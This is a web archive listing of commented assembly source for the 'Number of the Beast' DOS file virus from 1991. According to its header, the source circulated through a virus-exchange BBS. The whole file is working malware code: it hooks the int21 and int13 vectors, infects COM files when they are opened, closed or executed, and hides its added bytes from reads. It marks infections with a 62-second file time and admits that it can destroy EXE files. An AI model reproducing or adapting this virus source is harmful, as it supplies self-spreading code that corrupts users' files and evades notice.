home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BEAST-B.ASM < prev    next >
Assembly Source File  |  1991-03-08  |  13KB  |  337 lines

  1. ;*******************************************************************************
  2. ;*                                           *
  3. ;*            THE NUMBER OF THE BEAST VIRUS                   *
  4. ;*                                           *
  5. ;*    This is NOT a original virus, but a modification. Main difference      *
  6. ;*    between original virus is, that this release support ANY DOS version   *
  7. ;*    above 3.00 and below 4.00 (3.10, 3.20 and 3.30).               *
  8. ;*                                           *
  9. ;*         Modification (C) were made by                       *
  10. ;*                                           *
  11. ;*    Kiril Stoimenov & Stephen Genchev                       *
  12. ;*                                           *
  13. ;*        Source was (C) commented by                       *
  14. ;*    Waleri Todorov, CICTT, 07 Mar 1991    20:30                   *
  15. ;*                                           *
  16. ;*    All Rights Reserved.                               *
  17. ;*                                           *
  18. ;*******************************************************************************
  19. ;*                                           *
  20. ;*    We don't care about any damages caused by compiling and runnig         *
  21. ;*    of this program. Use it only at your responsible !               *
  22. ;*                                           *
  23. ;*    If you find any mistakes or inaccurates in this source or comments,    *
  24. ;*    please, let us know. Drop message for Waleri Todorov on Virus eXchange *
  25. ;*    BBS, (+359+2) 20-41-98 or send Email to FidoNet 2:359/105.100           *
  26. ;*                                           *
  27. ;*                        Waleri Todorov               *
  28. ;*                                           *
  29. ;*******************************************************************************
  30.         org    0
  31.  
  32.         mov    ah,30h        ; Get DOS version
  33.         int    21h
  34.         xchg    ah,al        ; Swap major and minor digit
  35.         cmp    ax,31Eh     ; Is DOS==3.30
  36.         mov    si,7B4h     ; Load offset of original int13
  37.         jae    newdos        ; If 3.30+ -> Proceed
  38.         mov    si,10A5h    ; Load offset of original int13
  39.         cmp    al,10        ; Check for 3.10
  40.         je    newdos        ; If so -> proceed
  41.         mov    si,1EC9h    ; Load offset of original int13 for other DOS's
  42.     newdos: mov    ds,cx        ; This may cause trouble, because CX
  43.                     ; is NOT allways set to ZERO
  44.         mov    di,0F8h     ; ES:DI will point to PSP:00F8 - unused area
  45.         movsw        ; Save oroginal int13 vector
  46.         movsw        ; to unused area in PSP
  47.         mov    si,84h    ; DS:SI point to 0000:0084 - int21 vector
  48.         movsw        ; Save current int21 vector
  49.         movsw        ; to unused area in PSP
  50.         lds    ax,dword ptr [si-4]    ; Load DS:AX with current address of int21
  51.         push    es    ; Save ES
  52.         push    di    ; Save DI
  53.         mov    si,8    ; DS:SI point in current int21 handler;
  54.         mov    ch,1    ; CX=100h - As I said CX is not allways set to 0
  55.         repz    cmpsw    ; Check if virus v512 hold the int21 vector
  56.         push    cs    ;
  57.         pop    ds    ; Set DS to PSP
  58.         jz    SkipInstall    ; If virus is active -> SkipInstall
  59.  
  60.         mov    ah,52h
  61.         int    21h    ; Get DOS table of table address
  62.         push    es    ; Save segment of table
  63.         mov    si,00F8h    ; DS:SI point virus WITH data area in PSP
  64.         sub    di,di    ; This will be offset in DOS buffer
  65.         les    ax,dword ptr es:[bx+12h]    ; Load address of first
  66.                         ; DOS buffer from table of tables
  67.                         ; This is the reason why virus
  68.                         ; will NOT work on DOS 4.X+
  69.  
  70.         mov    dx,es:[di+02]        ; Load in DX segment of next DOS buffer
  71.         mov    cx,0104h    ; CX set to virus size (208h bytes)
  72.         repz    movsw        ; Move itself in DOS buffer
  73.         mov    ds,cx        ; Now CX is 0 so DS also become 0
  74.         mov    di,0016h    ; This will be used for finding parent PSP
  75.         mov    word ptr [di+06Eh],offset int21+8    ; Set new int21 offset
  76.         mov    [di+70h],es    ; Set new int21 segment
  77.  
  78.         pop    ds    ; Restore segment of table in DS
  79.         mov    [bx+14h],dx    ; Set pointer to first buffer point NEXT buffer in chain
  80.  
  81.         mov    dx,cs        ; DX is current PSP segment
  82.         mov    ds,dx        ; DS also
  83.         mov    bx,[di-14h]    ; Load LAST segment available
  84.         dec    bh        ; LastSegment-=0x0100
  85.         mov    es,bx        ; ES point in transit COMMAND.COM area
  86.         cmp    dx,[di]     ; Compare current PSP with COMMAND's parent PSP
  87.         mov    ds,[di]     ; Load in DS segment of parent of COMMAND
  88.         mov    dx,[di]     ; Load in DX parent of parent of COMMAND
  89.         dec    dx        ; Decrement loaded segment
  90.         mov    ds,dx        ; Set DS to rezult
  91.         mov    si,cx        ; DS:SI point to XXXX:0000 -> Name of boot command
  92.         mov    dx,di        ; Save DI in DX
  93.         mov    cl,28h        ; Will move 80 bytes
  94.         repz    movsw        ; Do moving
  95.         mov    ds,bx        ; Set DS to transit COMMAND.COM segment
  96.  
  97.         jb    RunProcess    ; If current process is less than parent
  98.                     ; then COMMAND strat in progress -> read original bytes
  99.  
  100.         int    20h        ; Else stop. File will run from decond start
  101.                     ; If this instruction will be replaced by
  102.                     ; PUSH CS; POP DS file will run from first time
  103.  
  104. SkipInstall:    mov    si,cx        ; Set SI to 0
  105.         mov    ds,[si+02Ch]    ; Load in DS segment of envirement
  106. SearchAgain:    lodsw            ; Load word from envirement
  107.         dec    si        ; Decrement envirement pointer
  108.         test    ax,ax        ; Test for zero in AX
  109.         jnz    SearchAgain    ; If not zero -> SearchAgain
  110.         add    si,3        ; Else SI+=3; Now DS:SI point to filename in env
  111.         mov    dx,si        ; DS:DX point to filename for open
  112. RunProcess:    mov    ah,03Dh     ; AH = 3D - Open file; Don't care about open mode
  113.         call    CallDosGet    ; Call int21 & get handle table address in DS:DI
  114.         mov    dx,[di]     ; Load file size in DX
  115.         mov    [di+04],dx    ; Set file pointer to end of file
  116.         add    [di],cx     ; Increase file size with 512 bytes
  117.         pop    dx        ; Restore file entry point (100h) to DX
  118.                     ; This used for reading original bytes
  119.                     ; of file at normal place
  120.         push    dx        ; Save entry point again
  121.         push    cs        ; Set ES point to virus segment
  122.         pop    es        ;
  123.         push    cs        ; Set DS point to virus segment
  124.         pop    ds        ;
  125.         push    ds        ; Save PSP segment
  126.         mov    al,50h        ; Push 50h. On stack is far address PSP:0050
  127.                     ; This are INT 21; RETF instructions
  128.         push    ax        ; Update returning address
  129.         mov    ah,03Fh     ; Set AH=3F - read file
  130.         retf            ; Far return; Read original file
  131.                     ; and return control to it
  132. CallDosGet:    int    21h        ; Open file; Open procedure will go trough virus
  133.         jc    ErrorOpen    ; If error occur -> Skip open
  134.         mov    bx,ax        ; Move file pointer in BX
  135.                     ; This could be XCHG AX,BX; that save 1 byte
  136.  
  137. GetHandleAddr:    push    bx        ; Save file handle in stack
  138.         mov    ax,1220h    ; Get handle's table number
  139.         int    02Fh        ; Via int 2F (undocumented)
  140.         mov    bl,es:[di]    ; Load table number in BL
  141.         mov    ax,1216h    ; Get handle table ADDRESS (ES:DI)
  142.         int    02Fh        ; Via int 2F (undocumented)
  143.         pop    bx        ; Restore file handle from stack
  144.         push    es        ; Set DS to point table's segment
  145.         pop    ds        ;
  146.         add    di,11h        ; DI will point file's size entry intable
  147.         mov    cx,0200h    ; CX set to virus size
  148. ErrorOpen:    ret
  149. ReadClean:    sti        ; Disable external interrupts request
  150.         push    es    ; Save important registers to stack
  151.         push    si
  152.         push    di
  153.         push    bp
  154.         push    ds    ; Data buffer segment
  155.         push    cx    ; Bytes to read
  156.         call    GetHandleAddr    ; Get file handle's table address in DS:DI
  157.         mov    bp,cx        ; Save virus size in BP
  158.         mov    si,[di+04]    ; Save in SI current file pointer
  159.         pop    cx        ; Restore bytes to be readed in CX
  160.         pop    ds        ; Restore buffer segment
  161.         call    ReadOriginal    ; Open file with original int21
  162.         jc    SkipClean    ; If error while read -> skip cleaning
  163.         cmp    si,bp        ; Check if file pointer was in virus
  164.         jnb    SkipClean    ; If no -> nothing to clean
  165.         push    ax        ; Save readed bytes
  166.         mov    al,es:[di-04]    ; Load AL with file time
  167.         not    al        ;
  168.         and    al,01Fh     ; Mask seconds of file time
  169.         jnz    SkipCleanPop    ; If time is NOT 31 sec -> nothing to do
  170.         add    si,es:[di]    ; Add to current pointer file size
  171.                     ; Now SI point to requested offset,
  172.                     ; BUT in original file bytes
  173.  
  174.         xchg    si,es:[di+04]    ; Set new file pointer and save old file pointer
  175.         add    es:[di],bp    ; Increase file size with virus size
  176.         call    ReadOriginal    ; Open file via original int21
  177.         mov    es:[di+04],si    ; Restor file pointer
  178.         lahf            ; ??? I don't know. If you do let me know
  179.         sub    es:[di],bp    ; Decrease file size with virus size
  180.         sahf            ; ??? I don't know. If you do let me know
  181. SkipCleanPop:    pop    ax    ; Restore readed bytes
  182.  
  183. SkipClean:    pop    bp    ; Restore saved imortant register
  184.         pop    di
  185.         pop    si
  186.         pop    es
  187.         db    0CAh, 2, 0    ; RETF 2
  188.  
  189. ReadOriginal:    mov    ah,03Fh
  190. CallDOS:    pushf
  191.         push    cs
  192.         call    JumpDOS
  193.         ret
  194. ; Following few bytes are int21 handler. They check if file is open close or
  195. ; executed and clean or infect file with virus. Here there is serious problem -
  196. ; from time to time virus infect file which is NOT COM file (EXE file will be
  197. ; destroyed, by the way).
  198. ;    More about this later in comments
  199.  
  200.  
  201. int21:        cmp    ah,03Fh     ; If function is Read file
  202.         jz    ReadClean    ; then go and read original bytes
  203.  
  204.         push    ds        ; Save important registers
  205.         push    es
  206.         push    ax
  207.         push    bx
  208.         push    cx
  209.         push    dx
  210.         push    si
  211.         push    di
  212.         cmp    ah,03Eh     ; If function is Close file
  213.         jz    CloseInfect    ; then Close and Infect
  214.         cmp    ax,04B00h    ; If execute file
  215.         mov    ah,03Dh     ; then open file before execute
  216.                     ; After opening file will be closed
  217.                     ; and .... Infected
  218.         jz    Infect        ;
  219. TerminateInt:    pop    di        ; Restore important registers
  220.         pop    si
  221.         pop    dx
  222.         pop    cx
  223.         pop    bx
  224.         pop    ax
  225.         pop    es
  226.         pop    ds
  227. JumpDOS:    jmp    dword ptr cs:[0004]    ; Jump to original int21
  228.  
  229. CloseInfect:    mov    ah,45h
  230. Infect:     call    CallDosGet    ; Duplicate file handler
  231.         jc    TerminateInt    ; If error -> terminate
  232.         sub    ax,ax        ; Set AX to 0
  233.         mov    [di+04],ax    ; Set file pointer to 0
  234.         mov    byte ptr [di-0Fh],02    ; Set file open mode to Read/Write
  235.         cld
  236.         mov    ds,ax        ; Set DS point to interrupt table
  237.         mov    si,004Ch    ; SI point to int13 offset
  238.         lodsw        ; Load int13 offset
  239.         push    ax    ; and save it in stack
  240.         lodsw        ; Load int13 segment
  241.         push    ax    ; and save it in stack
  242.         push    [si+40h]    ; Save int24 offset
  243.         push    [si+42h]    ; Save int24 segment
  244.         lds    dx,dword ptr cs:[si-50h]    ; Load DS:DX with BIOS int13
  245.         mov    ax,2513h    ; and set it via DOS function SetVector
  246.         int    21h        ;
  247.         push    cs        ; Set DS point to virus segment
  248.         pop    ds        ;
  249.         mov    dx,offset int24+8    ; Load in DX offset of int24 handler
  250.         mov    al,24h        ; Set int24 vector
  251.         int    21h        ; via DOS function SetVector
  252.         push    es        ; Set DS point to handle table segment
  253.         pop    ds        ;
  254.         mov    al,[di-04]    ; Load AL with file time
  255.  
  256. ; As I said in some case virus will infect non-COM file. This may happend
  257. ; if file you work with has time set to 62 seconds. In this case virus infect
  258. ; file without checking filename. This WILL damage EXE file. DOS will treat
  259. ; this files as COM files, but usualy their size is bigger than 64K, so DOS
  260. ; cannot run it. If file is less than 64K then virus run and read original
  261. ; bytes. Usualy he DO read them, then skip control to these bytes. In EXE
  262. ; files this is EXEheader, so execution FAIL (your system CRASH)
  263.  
  264.  
  265.         and    al,01Fh     ; Mask seconds
  266.         cmp    al,01Fh     ; Check if seconds == 31 (62sec)
  267.         jz    NoNameCheck    ; If so -> infect with no name check
  268.         mov    ax,[di+17h]    ; Load AX with first 2 letters of file extension
  269.         sub    ax,04F43h    ; If file is NOT *.CO?
  270.         jnz    SkipInfect    ; SkipInfect
  271.  
  272. NoNameCheck:    xor    [di-04],al    ; Set file seconds to 31 (62sec)
  273.         mov    ax,[di]     ; Set AX to file size
  274.         cmp    ax,cx        ; Check file size and virus size
  275.         jb    SkipInfect    ; If file is less than 512 bytes -> Don't infect
  276.         add    ax,cx        ; Increase file size with virus size
  277.         jc    SkipInfect    ; If file is bigger than (65535-512) -> no infect
  278.         test    byte ptr [di-0Dh],04    ; Check file attribute
  279.         jnz    SkipInfect    ; If SYSTEM file -> don't infect it
  280.         lds    si,dword ptr [di-0Ah]    ; Load DS:SI with device header
  281.         dec    ax    ; AX (file size with virus) --
  282.         shr    ah,1    ; AX/=2
  283.         and    ah,[si+04]    ; Check if enough place in cluster behind file
  284.         jz    SkipInfect    ; If no place -> terminate infection
  285.         mov    ax,0020h    ; DS = 20 (Second part of int table)
  286.         mov    ds,ax        ;
  287.         sub    dx,dx        ; DS:DX point to virus transfer buffer
  288.         call    ReadOriginal    ; Open file with original int21
  289.         mov    si,dx        ; Save virus buffer offset in SI
  290.         push    cx        ; Save virus size
  291. LoopCheck:    lodsb
  292.         cmp    al,cs:[si+07]    ; Compare readed data with virus code
  293.         jnz    WriteFile    ; If at least ONE byte different -> fuck file
  294.         loop    LoopCheck    ; Check all virus code with buffer
  295.         pop    cx        ; Restore virus size
  296. SetFileTime:    or    byte ptr es:[di-04],01Fh    ; Set file time to 62sec
  297. NoUpdateTime:    or    byte ptr es:[di-0Bh],40h    ; Set flag in device info word
  298.  
  299.             ; In case of file this is flag area. Setting bit 14
  300.             ; as virus does, mean for DOS "Don't set file date/time when close"
  301.     ; DOS always rewrite Date/Time field of table. If bit 14 is clear (0)
  302.     ; then DOS will set current time to file. Virus should avoid this, or
  303.     ; DOS will overwrite seconds field and they (seconds) will be normal
  304.  
  305. SkipInfect:    mov    ah,03Eh     ; Close file
  306.         call    CallDOS     ; via original int21
  307.         or    byte ptr es:[di-0Ch],40h    ; Set flag... See above
  308.         pop    ds        ; Restore original int24
  309.         pop    dx
  310.         mov    ax,2524h    ; via SetVector
  311.         int    21h
  312.         pop    ds        ; Restore original int13
  313.         pop    dx
  314.         mov    al,13h        ; via SetVector
  315.         int    21h
  316.         jmp    TerminateInt    ; All done, jump to DOS
  317.  
  318. WriteFile:    pop    cx        ; Restore virus size to CX
  319.         mov    si,es:[di]    ; Save current file size in SI
  320.         mov    es:[di+04],si    ; Move file pointer at the end of file
  321.         mov    ah,40h        ; Write to file its first 512  bytes at the end
  322.         int    21h
  323.         jc    NoUpdateTime    ; If error occur file time will be normal
  324.         mov    es:[di],si    ; Set file size to be as before (file size
  325.                         ; will remain unchanged)
  326.         mov    es:[di+04],dx    ; Set file pointer to beginning of file
  327.         push    cs        ; Set DS:DX point to virus
  328.         pop    ds        ;
  329.         mov    dl,08        ; Skip first 8 bytes of virus, because they
  330.                     ; are a buffer for int handlers adresses
  331.         mov    ah,40h        ; Write virus at the beginning of file
  332.         int    21h        ;
  333.         jmp    SetFileTime    ; File now OK infected, so his time must be
  334.                     ; set to 62 sec
  335.     int24:    iret            ; int 24 handler. Avoid "Write protected error..."
  336.         db     '666'            ; Virus signature
  337.